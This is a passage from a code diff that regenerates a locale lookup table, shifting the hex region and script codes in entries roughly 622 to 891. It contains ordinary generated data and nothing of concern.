0x0}, + 622: {region: 0x61, script: 0x5b, flags: 0x0}, + 623: {region: 0x166, script: 0x5b, flags: 0x0}, + 624: {region: 0x166, script: 0x5b, flags: 0x0}, + 625: {region: 0x166, script: 0x2c, flags: 0x0}, + 626: {region: 0x166, script: 0x5b, flags: 0x0}, + 627: {region: 0x166, script: 0x5b, flags: 0x0}, 628: {region: 0x19, script: 0x3, flags: 0x1}, - 629: {region: 0x165, script: 0x5a, flags: 0x0}, - 630: {region: 0x165, script: 0x5a, flags: 0x0}, - 631: {region: 0x165, script: 0x5a, flags: 0x0}, - 632: {region: 0x165, script: 0x5a, flags: 0x0}, - 633: {region: 0x106, script: 0x20, flags: 0x0}, - 634: {region: 0x165, script: 0x5a, flags: 0x0}, - 635: {region: 0x165, script: 0x5a, flags: 0x0}, - 636: {region: 0x165, script: 0x5a, flags: 0x0}, - 637: {region: 0x106, script: 0x20, flags: 0x0}, - 638: {region: 0x165, script: 0x5a, flags: 0x0}, - 639: {region: 0x95, script: 0x5a, flags: 0x0}, - 640: {region: 0xe8, script: 0x5, flags: 0x0}, - 641: {region: 0x7b, script: 0x5a, flags: 0x0}, - 642: {region: 0x165, script: 0x5a, flags: 0x0}, - 643: {region: 0x165, script: 0x5a, flags: 0x0}, - 644: {region: 0x165, script: 0x5a, flags: 0x0}, - 645: {region: 0x165, script: 0x2c, flags: 0x0}, - 646: {region: 0x123, script: 0xeb, flags: 0x0}, - 647: {region: 0xe8, script: 0x5, flags: 0x0}, - 648: {region: 0x165, script: 0x5a, flags: 0x0}, - 649: {region: 0x165, script: 0x5a, flags: 0x0}, + 629: {region: 0x166, script: 0x5b, flags: 0x0}, + 630: {region: 0x166, script: 0x5b, flags: 0x0}, + 631: {region: 0x166, script: 0x5b, flags: 0x0}, + 632: {region: 0x166, script: 0x5b, flags: 0x0}, + 633: {region: 0x107, script: 0x20, flags: 0x0}, + 634: {region: 0x166, script: 0x5b, flags: 0x0}, + 635: {region: 0x166, script: 0x5b, flags: 0x0}, + 636: {region: 0x166, script: 0x5b, flags: 0x0}, + 637: {region: 0x107, script: 0x20, flags: 0x0}, + 638: {region: 0x166, script: 0x5b, flags: 0x0}, + 639: {region: 0x96, script: 0x5b, flags: 0x0}, + 640: {region: 0xe9, script: 0x5, flags: 0x0}, + 641: {region: 0x7c, script: 0x5b, flags: 0x0}, + 642: {region: 0x166, script: 0x5b, flags: 0x0}, + 643: {region: 0x166, script: 0x5b, flags: 0x0}, + 644: {region: 0x166, script: 0x5b, flags: 0x0}, + 645: {region: 0x166, script: 0x2c, flags: 0x0}, + 646: {region: 0x124, script: 0xee, flags: 0x0}, + 647: {region: 0xe9, script: 0x5, flags: 0x0}, + 648: {region: 0x166, script: 0x5b, flags: 0x0}, + 649: {region: 0x166, script: 0x5b, flags: 0x0}, 650: {region: 0x1c, script: 0x5, flags: 0x1}, - 651: {region: 0x165, script: 0x5a, flags: 0x0}, - 652: {region: 0x165, script: 0x5a, flags: 0x0}, - 653: {region: 0x165, script: 0x5a, flags: 0x0}, - 654: {region: 0x138, script: 0x5a, flags: 0x0}, - 655: {region: 0x87, script: 0x5e, flags: 0x0}, - 656: {region: 0x97, script: 0x3e, flags: 0x0}, - 657: {region: 0x12f, script: 0x5a, flags: 0x0}, - 658: {region: 0xe8, script: 0x5, flags: 0x0}, - 659: {region: 0x131, script: 0x5a, flags: 0x0}, - 660: {region: 0x165, script: 0x5a, flags: 0x0}, - 661: {region: 0xb7, script: 0x5a, flags: 0x0}, - 662: {region: 0x106, script: 0x20, flags: 0x0}, - 663: {region: 0x165, script: 0x5a, flags: 0x0}, - 664: {region: 0x95, script: 0x5a, flags: 0x0}, - 665: {region: 0x165, script: 0x5a, flags: 0x0}, - 666: {region: 0x53, script: 0xeb, flags: 0x0}, - 667: {region: 0x165, script: 0x5a, flags: 0x0}, - 668: {region: 0x165, script: 0x5a, flags: 0x0}, - 669: {region: 0x165, script: 0x5a, flags: 0x0}, - 670: {region: 0x165, script: 0x5a, flags: 0x0}, - 671: {region: 0x99, script: 0x5c, flags: 0x0}, - 672: {region: 0x165, script: 0x5a, flags: 0x0}, - 673: {region: 0x165, script: 0x5a, flags: 0x0}, - 674: {region: 0x106, script: 0x20, flags: 0x0}, - 675: {region: 0x131, script: 0x5a, flags: 0x0}, - 676: {region: 0x165, script: 0x5a, flags: 0x0}, - 677: {region: 0xd9, script: 0x5a, flags: 0x0}, - 678: {region: 0x165, script: 0x5a, flags: 0x0}, - 679: {region: 0x165, script: 0x5a, flags: 0x0}, + 651: {region: 0x166, script: 0x5b, flags: 0x0}, + 652: {region: 0x166, script: 0x5b, flags: 0x0}, + 653: {region: 0x166, script: 0x5b, flags: 0x0}, + 654: {region: 0x139, script: 0x5b, flags: 0x0}, + 655: {region: 0x88, script: 0x5f, flags: 0x0}, + 656: {region: 0x98, script: 0x3e, flags: 0x0}, + 657: {region: 0x130, script: 0x5b, flags: 0x0}, + 658: {region: 0xe9, script: 0x5, flags: 0x0}, + 659: {region: 0x132, script: 0x5b, flags: 0x0}, + 660: {region: 0x166, script: 0x5b, flags: 0x0}, + 661: {region: 0xb8, script: 0x5b, flags: 0x0}, + 662: {region: 0x107, script: 0x20, flags: 0x0}, + 663: {region: 0x166, script: 0x5b, flags: 0x0}, + 664: {region: 0x96, script: 0x5b, flags: 0x0}, + 665: {region: 0x166, script: 0x5b, flags: 0x0}, + 666: {region: 0x53, script: 0xee, flags: 0x0}, + 667: {region: 0x166, script: 0x5b, flags: 0x0}, + 668: {region: 0x166, script: 0x5b, flags: 0x0}, + 669: {region: 0x166, script: 0x5b, flags: 0x0}, + 670: {region: 0x166, script: 0x5b, flags: 0x0}, + 671: {region: 0x9a, script: 0x5d, flags: 0x0}, + 672: {region: 0x166, script: 0x5b, flags: 0x0}, + 673: {region: 0x166, script: 0x5b, flags: 0x0}, + 674: {region: 0x107, script: 0x20, flags: 0x0}, + 675: {region: 0x132, script: 0x5b, flags: 0x0}, + 676: {region: 0x166, script: 0x5b, flags: 0x0}, + 677: {region: 0xda, script: 0x5b, flags: 0x0}, + 678: {region: 0x166, script: 0x5b, flags: 0x0}, + 679: {region: 0x166, script: 0x5b, flags: 0x0}, 680: {region: 0x21, script: 0x2, flags: 0x1}, - 681: {region: 0x165, script: 0x5a, flags: 0x0}, - 682: {region: 0x165, script: 0x5a, flags: 0x0}, - 683: {region: 0x9e, script: 0x5a, flags: 0x0}, - 684: {region: 0x53, script: 0x60, flags: 0x0}, - 685: {region: 0x95, script: 0x5a, flags: 0x0}, - 686: {region: 0x9c, script: 0x5, flags: 0x0}, - 687: {region: 0x135, script: 0x5a, flags: 0x0}, - 688: {region: 0x165, script: 0x5a, flags: 0x0}, - 689: {region: 0x165, script: 0x5a, flags: 0x0}, - 690: {region: 0x99, script: 0xe6, flags: 0x0}, - 691: {region: 0x9e, script: 0x5a, flags: 0x0}, - 692: {region: 0x165, script: 0x5a, flags: 0x0}, - 693: {region: 0x4b, script: 0x5a, flags: 0x0}, - 694: {region: 0x165, script: 0x5a, flags: 0x0}, - 695: {region: 0x165, script: 0x5a, flags: 0x0}, - 696: {region: 0xaf, script: 0x57, flags: 0x0}, - 697: {region: 0x165, script: 0x5a, flags: 0x0}, - 698: {region: 0x165, script: 0x5a, flags: 0x0}, - 699: {region: 0x4b, script: 0x5a, flags: 0x0}, - 700: {region: 0x165, script: 0x5a, flags: 0x0}, - 701: {region: 0x165, script: 0x5a, flags: 0x0}, - 702: {region: 0x162, script: 0x5a, flags: 0x0}, - 703: {region: 0x9c, script: 0x5, flags: 0x0}, - 704: {region: 0xb6, script: 0x5a, flags: 0x0}, - 705: {region: 0xb8, script: 0x5a, flags: 0x0}, - 706: {region: 0x4b, script: 0x5a, flags: 0x0}, - 707: {region: 0x4b, script: 0x5a, flags: 0x0}, - 708: {region: 0xa4, script: 0x5a, flags: 0x0}, - 709: {region: 0xa4, script: 0x5a, flags: 0x0}, - 710: {region: 0x9c, script: 0x5, flags: 0x0}, - 711: {region: 0xb8, script: 0x5a, flags: 0x0}, - 712: {region: 0x123, script: 0xeb, flags: 0x0}, + 681: {region: 0x166, script: 0x5b, flags: 0x0}, + 682: {region: 0x166, script: 0x5b, flags: 0x0}, + 683: {region: 0x9f, script: 0x5b, flags: 0x0}, + 684: {region: 0x53, script: 0x61, flags: 0x0}, + 685: {region: 0x96, script: 0x5b, flags: 0x0}, + 686: {region: 0x9d, script: 0x5, flags: 0x0}, + 687: {region: 0x136, script: 0x5b, flags: 0x0}, + 688: {region: 0x166, script: 0x5b, flags: 0x0}, + 689: {region: 0x166, script: 0x5b, flags: 0x0}, + 690: {region: 0x9a, script: 0xe9, flags: 0x0}, + 691: {region: 0x9f, script: 0x5b, flags: 0x0}, + 692: {region: 0x166, script: 0x5b, flags: 0x0}, + 693: {region: 0x4b, script: 0x5b, flags: 0x0}, + 694: {region: 0x166, script: 0x5b, flags: 0x0}, + 695: {region: 0x166, script: 0x5b, flags: 0x0}, + 696: {region: 0xb0, script: 0x58, flags: 0x0}, + 697: {region: 0x166, script: 0x5b, flags: 0x0}, + 698: {region: 0x166, script: 0x5b, flags: 0x0}, + 699: {region: 0x4b, script: 0x5b, flags: 0x0}, + 700: {region: 0x166, script: 0x5b, flags: 0x0}, + 701: {region: 0x166, script: 0x5b, flags: 0x0}, + 702: {region: 0x163, script: 0x5b, flags: 0x0}, + 703: {region: 0x9d, script: 0x5, flags: 0x0}, + 704: {region: 0xb7, script: 0x5b, flags: 0x0}, + 705: {region: 0xb9, script: 0x5b, flags: 0x0}, + 706: {region: 0x4b, script: 0x5b, flags: 0x0}, + 707: {region: 0x4b, script: 0x5b, flags: 0x0}, + 708: {region: 0xa5, script: 0x5b, flags: 0x0}, + 709: {region: 0xa5, script: 0x5b, flags: 0x0}, + 710: {region: 0x9d, script: 0x5, flags: 0x0}, + 711: {region: 0xb9, script: 0x5b, flags: 0x0}, + 712: {region: 0x124, script: 0xee, flags: 0x0}, 713: {region: 0x53, script: 0x3b, flags: 0x0}, - 714: {region: 0x12b, script: 0x5a, flags: 0x0}, - 715: {region: 0x95, script: 0x5a, flags: 0x0}, - 716: {region: 0x52, script: 0x5a, flags: 0x0}, - 717: {region: 0x99, script: 0x22, flags: 0x0}, - 718: {region: 0x99, script: 0x22, flags: 0x0}, - 719: {region: 0x95, script: 0x5a, flags: 0x0}, + 714: {region: 0x12c, script: 0x5b, flags: 0x0}, + 715: {region: 0x96, script: 0x5b, flags: 0x0}, + 716: {region: 0x52, script: 0x5b, flags: 0x0}, + 717: {region: 0x9a, script: 0x22, flags: 0x0}, + 718: {region: 0x9a, script: 0x22, flags: 0x0}, + 719: {region: 0x96, script: 0x5b, flags: 0x0}, 720: {region: 0x23, script: 0x3, flags: 0x1}, - 721: {region: 0xa4, script: 0x5a, flags: 0x0}, - 722: {region: 0x165, script: 0x5a, flags: 0x0}, - 723: {region: 0xcf, script: 0x5a, flags: 0x0}, - 724: {region: 0x165, script: 0x5a, flags: 0x0}, - 725: {region: 0x165, script: 0x5a, flags: 0x0}, - 726: {region: 0x165, script: 0x5a, flags: 0x0}, - 727: {region: 0x165, script: 0x5a, flags: 0x0}, - 728: {region: 0x165, script: 0x5a, flags: 0x0}, - 729: {region: 0x165, script: 0x5a, flags: 0x0}, - 730: {region: 0x165, script: 0x5a, flags: 0x0}, - 731: {region: 0x165, script: 0x5a, flags: 0x0}, - 732: {region: 0x165, script: 0x5a, flags: 0x0}, - 733: {region: 0x165, script: 0x5a, flags: 0x0}, - 734: {region: 0x165, script: 0x5a, flags: 0x0}, - 735: {region: 0x165, script: 0x5, flags: 0x0}, - 736: {region: 0x106, script: 0x20, flags: 0x0}, - 737: {region: 0xe7, script: 0x5a, flags: 0x0}, - 738: {region: 0x165, script: 0x5a, flags: 0x0}, - 739: {region: 0x95, script: 0x5a, flags: 0x0}, - 740: {region: 0x165, script: 0x2c, flags: 0x0}, - 741: {region: 0x165, script: 0x5a, flags: 0x0}, - 742: {region: 0x165, script: 0x5a, flags: 0x0}, - 743: {region: 0x165, script: 0x5a, flags: 0x0}, - 744: {region: 0x112, script: 0x5a, flags: 0x0}, - 745: {region: 0xa4, script: 0x5a, flags: 0x0}, - 746: {region: 0x165, script: 0x5a, flags: 0x0}, - 747: {region: 0x165, script: 0x5a, flags: 0x0}, - 748: {region: 0x123, script: 0x5, flags: 0x0}, - 749: {region: 0xcc, script: 0x5a, flags: 0x0}, - 750: {region: 0x165, script: 0x5a, flags: 0x0}, - 751: {region: 0x165, script: 0x5a, flags: 0x0}, - 752: {region: 0x165, script: 0x5a, flags: 0x0}, - 753: {region: 0xbf, script: 0x5a, flags: 0x0}, - 754: {region: 0xd1, script: 0x5a, flags: 0x0}, - 755: {region: 0x165, script: 0x5a, flags: 0x0}, - 756: {region: 0x52, script: 0x5a, flags: 0x0}, - 757: {region: 0xdb, script: 0x22, flags: 0x0}, - 758: {region: 0x12f, script: 0x5a, flags: 0x0}, - 759: {region: 0xc0, script: 0x5a, flags: 0x0}, - 760: {region: 0x165, script: 0x5a, flags: 0x0}, - 761: {region: 0x165, script: 0x5a, flags: 0x0}, - 762: {region: 0xe0, script: 0x5a, flags: 0x0}, - 763: {region: 0x165, script: 0x5a, flags: 0x0}, - 764: {region: 0x95, script: 0x5a, flags: 0x0}, - 765: {region: 0x9b, script: 0x3d, flags: 0x0}, - 766: {region: 0x165, script: 0x5a, flags: 0x0}, - 767: {region: 0xc2, script: 0x20, flags: 0x0}, - 768: {region: 0x165, script: 0x5, flags: 0x0}, - 769: {region: 0x165, script: 0x5a, flags: 0x0}, - 770: {region: 0x165, script: 0x5a, flags: 0x0}, - 771: {region: 0x165, script: 0x5a, flags: 0x0}, - 772: {region: 0x99, script: 0x6e, flags: 0x0}, - 773: {region: 0x165, script: 0x5a, flags: 0x0}, - 774: {region: 0x165, script: 0x5a, flags: 0x0}, - 775: {region: 0x10b, script: 0x5a, flags: 0x0}, - 776: {region: 0x165, script: 0x5a, flags: 0x0}, - 777: {region: 0x165, script: 0x5a, flags: 0x0}, - 778: {region: 0x165, script: 0x5a, flags: 0x0}, + 721: {region: 0xa5, script: 0x5b, flags: 0x0}, + 722: {region: 0x166, script: 0x5b, flags: 0x0}, + 723: {region: 0xd0, script: 0x5b, flags: 0x0}, + 724: {region: 0x166, script: 0x5b, flags: 0x0}, + 725: {region: 0x166, script: 0x5b, flags: 0x0}, + 726: {region: 0x166, script: 0x5b, flags: 0x0}, + 727: {region: 0x166, script: 0x5b, flags: 0x0}, + 728: {region: 0x166, script: 0x5b, flags: 0x0}, + 729: {region: 0x166, script: 0x5b, flags: 0x0}, + 730: {region: 0x166, script: 0x5b, flags: 0x0}, + 731: {region: 0x166, script: 0x5b, flags: 0x0}, + 732: {region: 0x166, script: 0x5b, flags: 0x0}, + 733: {region: 0x166, script: 0x5b, flags: 0x0}, + 734: {region: 0x166, script: 0x5b, flags: 0x0}, + 735: {region: 0x166, script: 0x5, flags: 0x0}, + 736: {region: 0x107, script: 0x20, flags: 0x0}, + 737: {region: 0xe8, script: 0x5b, flags: 0x0}, + 738: {region: 0x166, script: 0x5b, flags: 0x0}, + 739: {region: 0x96, script: 0x5b, flags: 0x0}, + 740: {region: 0x166, script: 0x2c, flags: 0x0}, + 741: {region: 0x166, script: 0x5b, flags: 0x0}, + 742: {region: 0x166, script: 0x5b, flags: 0x0}, + 743: {region: 0x166, script: 0x5b, flags: 0x0}, + 744: {region: 0x113, script: 0x5b, flags: 0x0}, + 745: {region: 0xa5, script: 0x5b, flags: 0x0}, + 746: {region: 0x166, script: 0x5b, flags: 0x0}, + 747: {region: 0x166, script: 0x5b, flags: 0x0}, + 748: {region: 0x124, script: 0x5, flags: 0x0}, + 749: {region: 0xcd, script: 0x5b, flags: 0x0}, + 750: {region: 0x166, script: 0x5b, flags: 0x0}, + 751: {region: 0x166, script: 0x5b, flags: 0x0}, + 752: {region: 0x166, script: 0x5b, flags: 0x0}, + 753: {region: 0xc0, script: 0x5b, flags: 0x0}, + 754: {region: 0xd2, script: 0x5b, flags: 0x0}, + 755: {region: 0x166, script: 0x5b, flags: 0x0}, + 756: {region: 0x52, script: 0x5b, flags: 0x0}, + 757: {region: 0xdc, script: 0x22, flags: 0x0}, + 758: {region: 0x130, script: 0x5b, flags: 0x0}, + 759: {region: 0xc1, script: 0x5b, flags: 0x0}, + 760: {region: 0x166, script: 0x5b, flags: 0x0}, + 761: {region: 0x166, script: 0x5b, flags: 0x0}, + 762: {region: 0xe1, script: 0x5b, flags: 0x0}, + 763: {region: 0x166, script: 0x5b, flags: 0x0}, + 764: {region: 0x96, script: 0x5b, flags: 0x0}, + 765: {region: 0x9c, script: 0x3d, flags: 0x0}, + 766: {region: 0x166, script: 0x5b, flags: 0x0}, + 767: {region: 0xc3, script: 0x20, flags: 0x0}, + 768: {region: 0x166, script: 0x5, flags: 0x0}, + 769: {region: 0x166, script: 0x5b, flags: 0x0}, + 770: {region: 0x166, script: 0x5b, flags: 0x0}, + 771: {region: 0x166, script: 0x5b, flags: 0x0}, + 772: {region: 0x9a, script: 0x6f, flags: 0x0}, + 773: {region: 0x166, script: 0x5b, flags: 0x0}, + 774: {region: 0x166, script: 0x5b, flags: 0x0}, + 775: {region: 0x10c, script: 0x5b, flags: 0x0}, + 776: {region: 0x166, script: 0x5b, flags: 0x0}, + 777: {region: 0x166, script: 0x5b, flags: 0x0}, + 778: {region: 0x166, script: 0x5b, flags: 0x0}, 779: {region: 0x26, script: 0x3, flags: 0x1}, - 780: {region: 0x165, script: 0x5a, flags: 0x0}, - 781: {region: 0x165, script: 0x5a, flags: 0x0}, - 782: {region: 0x99, script: 0xe, flags: 0x0}, - 783: {region: 0xc4, script: 0x75, flags: 0x0}, - 785: {region: 0x165, script: 0x5a, flags: 0x0}, - 786: {region: 0x49, script: 0x5a, flags: 0x0}, - 787: {region: 0x49, script: 0x5a, flags: 0x0}, - 788: {region: 0x37, script: 0x5a, flags: 0x0}, - 789: {region: 0x165, script: 0x5a, flags: 0x0}, - 790: {region: 0x165, script: 0x5a, flags: 0x0}, - 791: {region: 0x165, script: 0x5a, flags: 0x0}, - 792: {region: 0x165, script: 0x5a, flags: 0x0}, - 793: {region: 0x165, script: 0x5a, flags: 0x0}, - 794: {region: 0x165, script: 0x5a, flags: 0x0}, - 795: {region: 0x99, script: 0x22, flags: 0x0}, - 796: {region: 0xdb, script: 0x22, flags: 0x0}, - 797: {region: 0x106, script: 0x20, flags: 0x0}, - 798: {region: 0x35, script: 0x72, flags: 0x0}, + 780: {region: 0x166, script: 0x5b, flags: 0x0}, + 781: {region: 0x166, script: 0x5b, flags: 0x0}, + 782: {region: 0x9a, script: 0xe, flags: 0x0}, + 783: {region: 0xc5, script: 0x76, flags: 0x0}, + 785: {region: 0x166, script: 0x5b, flags: 0x0}, + 786: {region: 0x49, script: 0x5b, flags: 0x0}, + 787: {region: 0x49, script: 0x5b, flags: 0x0}, + 788: {region: 0x37, script: 0x5b, flags: 0x0}, + 789: {region: 0x166, script: 0x5b, flags: 0x0}, + 790: {region: 0x166, script: 0x5b, flags: 0x0}, + 791: {region: 0x166, script: 0x5b, flags: 0x0}, + 792: {region: 0x166, script: 0x5b, flags: 0x0}, + 793: {region: 0x166, script: 0x5b, flags: 0x0}, + 794: {region: 0x166, script: 0x5b, flags: 0x0}, + 795: {region: 0x9a, script: 0x22, flags: 0x0}, + 796: {region: 0xdc, script: 0x22, flags: 0x0}, + 797: {region: 0x107, script: 0x20, flags: 0x0}, + 798: {region: 0x35, script: 0x73, flags: 0x0}, 799: {region: 0x29, script: 0x3, flags: 0x1}, - 800: {region: 0xcb, script: 0x5a, flags: 0x0}, - 801: {region: 0x165, script: 0x5a, flags: 0x0}, - 802: {region: 0x165, script: 0x5a, flags: 0x0}, - 803: {region: 0x165, script: 0x5a, flags: 0x0}, - 804: {region: 0x99, script: 0x22, flags: 0x0}, - 805: {region: 0x52, script: 0x5a, flags: 0x0}, - 807: {region: 0x165, script: 0x5a, flags: 0x0}, - 808: {region: 0x135, script: 0x5a, flags: 0x0}, - 809: {region: 0x165, script: 0x5a, flags: 0x0}, - 810: {region: 0x165, script: 0x5a, flags: 0x0}, - 811: {region: 0xe8, script: 0x5, flags: 0x0}, - 812: {region: 0xc3, script: 0x5a, flags: 0x0}, - 813: {region: 0x99, script: 0x22, flags: 0x0}, - 814: {region: 0x95, script: 0x5a, flags: 0x0}, - 815: {region: 0x164, script: 0x5a, flags: 0x0}, - 816: {region: 0x165, script: 0x5a, flags: 0x0}, - 817: {region: 0xc4, script: 0x75, flags: 0x0}, - 818: {region: 0x165, script: 0x5a, flags: 0x0}, - 819: {region: 0x165, script: 0x2c, flags: 0x0}, - 820: {region: 0x106, script: 0x20, flags: 0x0}, - 821: {region: 0x165, script: 0x5a, flags: 0x0}, - 822: {region: 0x131, script: 0x5a, flags: 0x0}, - 823: {region: 0x9c, script: 0x66, flags: 0x0}, - 824: {region: 0x165, script: 0x5a, flags: 0x0}, - 825: {region: 0x165, script: 0x5a, flags: 0x0}, - 826: {region: 0x9c, script: 0x5, flags: 0x0}, - 827: {region: 0x165, script: 0x5a, flags: 0x0}, - 828: {region: 0x165, script: 0x5a, flags: 0x0}, - 829: {region: 0x165, script: 0x5a, flags: 0x0}, - 830: {region: 0xdd, script: 0x5a, flags: 0x0}, - 831: {region: 0x165, script: 0x5a, flags: 0x0}, - 832: {region: 0x165, script: 0x5a, flags: 0x0}, - 834: {region: 0x165, script: 0x5a, flags: 0x0}, + 800: {region: 0xcc, script: 0x5b, flags: 0x0}, + 801: {region: 0x166, script: 0x5b, flags: 0x0}, + 802: {region: 0x166, script: 0x5b, flags: 0x0}, + 803: {region: 0x166, script: 0x5b, flags: 0x0}, + 804: {region: 0x9a, script: 0x22, flags: 0x0}, + 805: {region: 0x52, script: 0x5b, flags: 0x0}, + 807: {region: 0x166, script: 0x5b, flags: 0x0}, + 808: {region: 0x136, script: 0x5b, flags: 0x0}, + 809: {region: 0x166, script: 0x5b, flags: 0x0}, + 810: {region: 0x166, script: 0x5b, flags: 0x0}, + 811: {region: 0xe9, script: 0x5, flags: 0x0}, + 812: {region: 0xc4, script: 0x5b, flags: 0x0}, + 813: {region: 0x9a, script: 0x22, flags: 0x0}, + 814: {region: 0x96, script: 0x5b, flags: 0x0}, + 815: {region: 0x165, script: 0x5b, flags: 0x0}, + 816: {region: 0x166, script: 0x5b, flags: 0x0}, + 817: {region: 0xc5, script: 0x76, flags: 0x0}, + 818: {region: 0x166, script: 0x5b, flags: 0x0}, + 819: {region: 0x166, script: 0x2c, flags: 0x0}, + 820: {region: 0x107, script: 0x20, flags: 0x0}, + 821: {region: 0x166, script: 0x5b, flags: 0x0}, + 822: {region: 0x132, script: 0x5b, flags: 0x0}, + 823: {region: 0x9d, script: 0x67, flags: 0x0}, + 824: {region: 0x166, script: 0x5b, flags: 0x0}, + 825: {region: 0x166, script: 0x5b, flags: 0x0}, + 826: {region: 0x9d, script: 0x5, flags: 0x0}, + 827: {region: 0x166, script: 0x5b, flags: 0x0}, + 828: {region: 0x166, script: 0x5b, flags: 0x0}, + 829: {region: 0x166, script: 0x5b, flags: 0x0}, + 830: {region: 0xde, script: 0x5b, flags: 0x0}, + 831: {region: 0x166, script: 0x5b, flags: 0x0}, + 832: {region: 0x166, script: 0x5b, flags: 0x0}, + 834: {region: 0x166, script: 0x5b, flags: 0x0}, 835: {region: 0x53, script: 0x3b, flags: 0x0}, - 836: {region: 0x9e, script: 0x5a, flags: 0x0}, - 837: {region: 0xd2, script: 0x5a, flags: 0x0}, - 838: {region: 0x165, script: 0x5a, flags: 0x0}, - 839: {region: 0xda, script: 0x5a, flags: 0x0}, - 840: {region: 0x165, script: 0x5a, flags: 0x0}, - 841: {region: 0x165, script: 0x5a, flags: 0x0}, - 842: {region: 0x165, script: 0x5a, flags: 0x0}, - 843: {region: 0xcf, script: 0x5a, flags: 0x0}, - 844: {region: 0x165, script: 0x5a, flags: 0x0}, - 845: {region: 0x165, script: 0x5a, flags: 0x0}, - 846: {region: 0x164, script: 0x5a, flags: 0x0}, - 847: {region: 0xd1, script: 0x5a, flags: 0x0}, - 848: {region: 0x60, script: 0x5a, flags: 0x0}, - 849: {region: 0xdb, script: 0x22, flags: 0x0}, - 850: {region: 0x165, script: 0x5a, flags: 0x0}, - 851: {region: 0xdb, script: 0x22, flags: 0x0}, - 852: {region: 0x165, script: 0x5a, flags: 0x0}, - 853: {region: 0x165, script: 0x5a, flags: 0x0}, - 854: {region: 0xd2, script: 0x5a, flags: 0x0}, - 855: {region: 0x165, script: 0x5a, flags: 0x0}, - 856: {region: 0x165, script: 0x5a, flags: 0x0}, - 857: {region: 0xd1, script: 0x5a, flags: 0x0}, - 858: {region: 0x165, script: 0x5a, flags: 0x0}, - 859: {region: 0xcf, script: 0x5a, flags: 0x0}, - 860: {region: 0xcf, script: 0x5a, flags: 0x0}, - 861: {region: 0x165, script: 0x5a, flags: 0x0}, - 862: {region: 0x165, script: 0x5a, flags: 0x0}, - 863: {region: 0x95, script: 0x5a, flags: 0x0}, - 864: {region: 0x165, script: 0x5a, flags: 0x0}, - 865: {region: 0xdf, script: 0x5a, flags: 0x0}, - 866: {region: 0x165, script: 0x5a, flags: 0x0}, - 867: {region: 0x165, script: 0x5a, flags: 0x0}, - 868: {region: 0x99, script: 0x5a, flags: 0x0}, - 869: {region: 0x165, script: 0x5a, flags: 0x0}, - 870: {region: 0x165, script: 0x5a, flags: 0x0}, - 871: {region: 0xd9, script: 0x5a, flags: 0x0}, - 872: {region: 0x52, script: 0x5a, flags: 0x0}, - 873: {region: 0x165, script: 0x5a, flags: 0x0}, - 874: {region: 0xda, script: 0x5a, flags: 0x0}, - 875: {region: 0x165, script: 0x5a, flags: 0x0}, - 876: {region: 0x52, script: 0x5a, flags: 0x0}, - 877: {region: 0x165, script: 0x5a, flags: 0x0}, - 878: {region: 0x165, script: 0x5a, flags: 0x0}, - 879: {region: 0xda, script: 0x5a, flags: 0x0}, - 880: {region: 0x123, script: 0x56, flags: 0x0}, - 881: {region: 0x99, script: 0x22, flags: 0x0}, - 882: {region: 0x10c, script: 0xc9, flags: 0x0}, - 883: {region: 0x165, script: 0x5a, flags: 0x0}, - 884: {region: 0x165, script: 0x5a, flags: 0x0}, - 885: {region: 0x84, script: 0x7c, flags: 0x0}, - 886: {region: 0x161, script: 0x5a, flags: 0x0}, - 887: {region: 0x165, script: 0x5a, flags: 0x0}, + 836: {region: 0x9f, script: 0x5b, flags: 0x0}, + 837: {region: 0xd3, script: 0x5b, flags: 0x0}, + 838: {region: 0x166, script: 0x5b, flags: 0x0}, + 839: {region: 0xdb, script: 0x5b, flags: 0x0}, + 840: {region: 0x166, script: 0x5b, flags: 0x0}, + 841: {region: 0x166, script: 0x5b, flags: 0x0}, + 842: {region: 0x166, script: 0x5b, flags: 0x0}, + 843: {region: 0xd0, script: 0x5b, flags: 0x0}, + 844: {region: 0x166, script: 0x5b, flags: 0x0}, + 845: {region: 0x166, script: 0x5b, flags: 0x0}, + 846: {region: 0x165, script: 0x5b, flags: 0x0}, + 847: {region: 0xd2, script: 0x5b, flags: 0x0}, + 848: {region: 0x61, script: 0x5b, flags: 0x0}, + 849: {region: 0xdc, script: 0x22, flags: 0x0}, + 850: {region: 0x166, script: 0x5b, flags: 0x0}, + 851: {region: 0xdc, script: 0x22, flags: 0x0}, + 852: {region: 0x166, script: 0x5b, flags: 0x0}, + 853: {region: 0x166, script: 0x5b, flags: 0x0}, + 854: {region: 0xd3, script: 0x5b, flags: 0x0}, + 855: {region: 0x166, script: 0x5b, flags: 0x0}, + 856: {region: 0x166, script: 0x5b, flags: 0x0}, + 857: {region: 0xd2, script: 0x5b, flags: 0x0}, + 858: {region: 0x166, script: 0x5b, flags: 0x0}, + 859: {region: 0xd0, script: 0x5b, flags: 0x0}, + 860: {region: 0xd0, script: 0x5b, flags: 0x0}, + 861: {region: 0x166, script: 0x5b, flags: 0x0}, + 862: {region: 0x166, script: 0x5b, flags: 0x0}, + 863: {region: 0x96, script: 0x5b, flags: 0x0}, + 864: {region: 0x166, script: 0x5b, flags: 0x0}, + 865: {region: 0xe0, script: 0x5b, flags: 0x0}, + 866: {region: 0x166, script: 0x5b, flags: 0x0}, + 867: {region: 0x166, script: 0x5b, flags: 0x0}, + 868: {region: 0x9a, script: 0x5b, flags: 0x0}, + 869: {region: 0x166, script: 0x5b, flags: 0x0}, + 870: {region: 0x166, script: 0x5b, flags: 0x0}, + 871: {region: 0xda, script: 0x5b, flags: 0x0}, + 872: {region: 0x52, script: 0x5b, flags: 0x0}, + 873: {region: 0x166, script: 0x5b, flags: 0x0}, + 874: {region: 0xdb, script: 0x5b, flags: 0x0}, + 875: {region: 0x166, script: 0x5b, flags: 0x0}, + 876: {region: 0x52, script: 0x5b, flags: 0x0}, + 877: {region: 0x166, script: 0x5b, flags: 0x0}, + 878: {region: 0x166, script: 0x5b, flags: 0x0}, + 879: {region: 0xdb, script: 0x5b, flags: 0x0}, + 880: {region: 0x124, script: 0x57, flags: 0x0}, + 881: {region: 0x9a, script: 0x22, flags: 0x0}, + 882: {region: 0x10d, script: 0xcb, flags: 0x0}, + 883: {region: 0x166, script: 0x5b, flags: 0x0}, + 884: {region: 0x166, script: 0x5b, flags: 0x0}, + 885: {region: 0x85, script: 0x7e, flags: 0x0}, + 886: {region: 0x162, script: 0x5b, flags: 0x0}, + 887: {region: 0x166, script: 0x5b, flags: 0x0}, 888: {region: 0x49, script: 0x17, flags: 0x0}, - 889: {region: 0x165, script: 0x5a, flags: 0x0}, - 890: {region: 0x161, script: 0x5a, flags: 0x0}, - 891: {region: 0x165, script: 0x5a, flags: 